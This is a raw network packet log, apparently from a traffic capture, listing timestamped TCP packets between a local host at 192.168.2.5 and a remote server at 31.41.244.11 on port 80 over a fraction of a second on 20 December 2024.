Dec 20, 2024 16:08:18.491867065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.491938114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.492537022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.492556095 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.492584944 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.492615938 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.493757963 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.493808031 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.494256020 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.494362116 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.495392084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.495409966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.495449066 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.495481014 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.496540070 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.496606112 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.497108936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.497159004 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.497750998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.497845888 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.498174906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.498239040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.499356985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.499377966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.499460936 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.500471115 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.500524044 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.501060963 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.501141071 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.502198935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.502211094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.502247095 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.503242016 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.503412962 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.503901958 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.503940105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.505070925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.505084991 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.505134106 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.506726027 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.506737947 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.506777048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.508428097 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.508443117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.508483887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.508500099 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.510065079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.510081053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.510123014 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.510152102 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.511774063 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.511837959 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.512275934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.512324095 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.513422966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.513473988 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.513997078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.514043093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.515014887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.515067101 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.515688896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.515790939 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.516202927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.516216040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.516258001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.517353058 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.517368078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.517410040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.518520117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.518532038 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.518596888 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.518596888 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.519126892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.519213915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.519551992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.519606113 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.520117998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.520190001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.520690918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.520745993 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.521401882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.521413088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.521457911 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.521478891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.521528006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.521545887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.521574020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.521585941 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.522193909 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.522366047 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.522546053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.522605896 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.523577929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.523627043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.523780107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.523864031 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.524792910 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.524879932 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.525221109 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.525434017 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.526092052 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.526189089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.526485920 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.526576996 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.527539968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.527620077 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.527765989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.527826071 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.528697014 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.528997898 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.528999090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.529061079 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.530020952 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.530109882 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.530344963 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.530388117 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.531271935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.531320095 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.531550884 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.531599998 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.535166979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.535326958 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.536144972 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.536212921 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.538254976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.538269043 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.538299084 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.538317919 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.541264057 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.541276932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.541305065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.541320086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.545259953 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.545270920 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.545327902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.547283888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.547297955 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.547341108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.550328970 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.550381899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.551307917 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.551364899 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.553333998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.553347111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.553384066 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.556379080 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.556421995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.557374954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.557415962 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.560410023 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.560422897 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.560467958 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.562417030 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.562477112 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.563370943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.563414097 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.566423893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.566437006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.566469908 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.569499969 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.569549084 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.570480108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.570544004 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.572479010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.572508097 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.572523117 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.572541952 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.576024055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.576036930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.576073885 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.578044891 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.578069925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.578088045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.578108072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.582190037 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.582201958 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.582254887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.585172892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.585185051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.585232973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.588130951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.588175058 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.681946993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.682102919 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.682384014 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.682406902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.682430983 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.682457924 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.682992935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.683046103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.683684111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.683737040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.684073925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.684118032 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.684509993 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.684551001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.684806108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.684844971 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.685909033 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.685921907 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.685982943 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.687081099 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.687136889 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.687478065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.687517881 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.688323975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.688365936 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.688568115 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.688611031 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.689497948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.689544916 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.689789057 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.689832926 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.690732002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.690823078 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.691087961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.691133022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.692034960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.692086935 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.692275047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.692315102 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.693296909 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.693353891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.693734884 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.693784952 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.694478989 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.694561005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.694890022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.694933891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.695774078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.695828915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.696007967 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.696050882 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.696957111 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.697010994 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.697288990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.697331905 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.698266029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.698318005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.698419094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.698461056 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.699450970 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.699505091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.699667931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.699709892 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.700689077 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.700740099 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.701024055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.701066017 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.701947927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.702003002 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.702450991 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.702497005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.703190088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.703236103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.703598022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.703676939 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.704437971 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.704493046 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.704643965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.704693079 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.705646992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.705707073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.705859900 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.705904961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.707022905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.707078934 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.707302094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.707348108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.708106041 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.708154917 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.708311081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.708354950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.709304094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.709359884 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.709628105 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.709673882 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.710582018 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.710635900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.710789919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.710833073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.711740017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.711790085 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.711946011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.711991072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.712908030 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.712959051 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.713119984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.713165045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.714255095 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.714306116 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.714349985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.714397907 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.715338945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.715384960 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.715650082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.715724945 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.716505051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.716573954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.716722012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.717717886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.717783928 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.717928886 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.717978954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.718955040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.719017982 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.719332933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.719379902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.720103979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.720149040 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.720328093 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.720371008 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.721328974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.721437931 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.721713066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.721760988 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.722502947 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.722559929 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.722752094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.722800016 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.723728895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.723777056 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.724062920 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.724109888 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.726845980 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.726905107 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.727843046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.727890968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.729840040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.729861021 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.729895115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.731878996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.731956005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.732883930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.732897043 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.732940912 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.732958078 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.733886957 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.735768080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.736927986 CET	80	49965	31.41.244.11	192.168.2.5
